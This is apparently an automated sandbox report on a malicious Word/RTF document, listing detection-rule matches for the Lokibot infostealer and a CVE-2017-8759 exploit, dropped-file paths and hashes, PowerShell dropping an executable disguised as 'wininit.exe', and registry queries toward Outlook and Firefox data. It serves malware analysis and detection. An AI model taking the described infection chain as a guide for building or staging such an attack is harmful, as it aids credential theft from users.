Source: 0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: wininit.exe PID: 3868, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: Process Memory Space: wininit.exe PID: 3932, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: C:\Users\user\Desktop\~WRD0000.tmp, type: DROPPED	Matched rule: detects CVE-2017-8759 weaponized RTF documents. Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe			Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\wininit.exe			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 770B0000 page execute and read and write

Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 13_2_001C04C0	13_2_001C04C0
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 13_2_001C2808	13_2_001C2808
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 13_2_001C1047	13_2_001C1047
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 13_2_001C108F	13_2_001C108F
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 13_2_001CC410	13_2_001CC410
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 13_2_001CD6D8	13_2_001CD6D8
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 13_2_001CC848	13_2_001CC848
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 13_2_001CCC80	13_2_001CCC80
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 13_2_001CBFD8	13_2_001CBFD8
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 15_2_0040549C	15_2_0040549C
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 15_2_004029D4	15_2_004029D4

Source: ~WRF{8F9E19BA-7C14-4A61-89D3-CF9016D92B91}.tmp.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe 59586E753C54629F428A6B880F6AFF09F67AF0ACE76823AF3627DDA2281532E4
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\CF97F5\5879F5.exe (copy) 59586E753C54629F428A6B880F6AFF09F67AF0ACE76823AF3627DDA2281532E4
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\wininit.exe 59586E753C54629F428A6B880F6AFF09F67AF0ACE76823AF3627DDA2281532E4

Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: String function: 00405B6F appears 42 times

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Users\user\AppData\Roaming\wininit.exe

Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory

Source: stthigns.doc, type: SAMPLE	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 13.2.wininit.exe.3a0edc0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 13.2.wininit.exe.3a0edc0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 13.2.wininit.exe.3a0edc0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 13.2.wininit.exe.3a0edc0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 13.2.wininit.exe.3a0edc0.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 13.2.wininit.exe.3a28de0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 13.2.wininit.exe.3a28de0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 13.2.wininit.exe.3a28de0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 13.2.wininit.exe.3a28de0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 13.2.wininit.exe.3a28de0.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 15.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 15.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 15.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 15.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 15.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 13.2.wininit.exe.3a0edc0.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 13.2.wininit.exe.3a0edc0.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 13.2.wininit.exe.3a0edc0.4.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 13.2.wininit.exe.3a0edc0.4.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 15.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 15.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 15.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 15.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 15.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 13.2.wininit.exe.3a28de0.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 13.2.wininit.exe.3a28de0.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 13.2.wininit.exe.3a28de0.2.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 13.2.wininit.exe.3a28de0.2.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: wininit.exe PID: 3868, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: Process Memory Space: wininit.exe PID: 3932, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: C:\Users\user\Desktop\~WRD0000.tmp, type: DROPPED	Matched rule: INDICATOR_RTF_EXPLOIT_CVE_2017_8759_2 author = ditekSHen, description = detects CVE-2017-8759 weaponized RTF documents.

Source: caspol[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: wininit.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, BE5k0LFu5KnoWIB8ne.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, BE5k0LFu5KnoWIB8ne.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, KQkH3in3AYxtB1JkcI.cs	Security API names: _0020.SetAccessControl
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, KQkH3in3AYxtB1JkcI.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, KQkH3in3AYxtB1JkcI.cs	Security API names: _0020.AddAccessRule
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, KQkH3in3AYxtB1JkcI.cs	Security API names: _0020.SetAccessControl
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, KQkH3in3AYxtB1JkcI.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, KQkH3in3AYxtB1JkcI.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDOC@18/31@0/2

Source: C:\Users\user\AppData\Roaming\wininit.exe

Code function: 15_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges,

15_2_0040650A

Source: C:\Users\user\AppData\Roaming\wininit.exe

Code function: 15_2_0040434D CoInitialize,CoCreateInstance,VariantInit,SysAllocString,VariantInit,VariantInit,SysAllocString,VariantInit,SysFreeString,SysFreeString,CoUninitialize,

15_2_0040434D

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$thigns.doc

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\wininit.exe	Mutant created: \Sessions\1\BaseNamedObjects\DE4229FCF97F5879F50F8FD3

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR7B95.tmp

Jump to behavior

Source: ~WRF{8F9E19BA-7C14-4A61-89D3-CF9016D92B91}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{8F9E19BA-7C14-4A61-89D3-CF9016D92B91}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{8F9E19BA-7C14-4A61-89D3-CF9016D92B91}.tmp.0.dr	OLE document summary: edited time not present or 0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................0.......(.P..............................:.........................s............(..................s............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................:.........................s............(...............(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................!%.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................%.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................%.........................s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................%.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................%.........................s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................%.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N.......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................%...................... .a.g.a.........................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........%...................... .a.g.a................. .......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................&...................... .a.g.a.........................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .d.e.V.i.C.E.c.r.E.D.E.n.t.i.A.L.d.E.p.l.O.Y.m.e.N.t......... .a.g.a.................8.......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................\|&...................... .a.g.a.........................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~......... .a.g.a.................8.......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................&...................... .a.g.a.........................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................&...................... .a.g.a.........................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................&...................... .a.g.a.........................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.a.................F.......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................&......................i.o.n.a.........................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................&......................i.o.n.a.................l.......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................&......................i.o.n.a.........................................	Jump to behavior
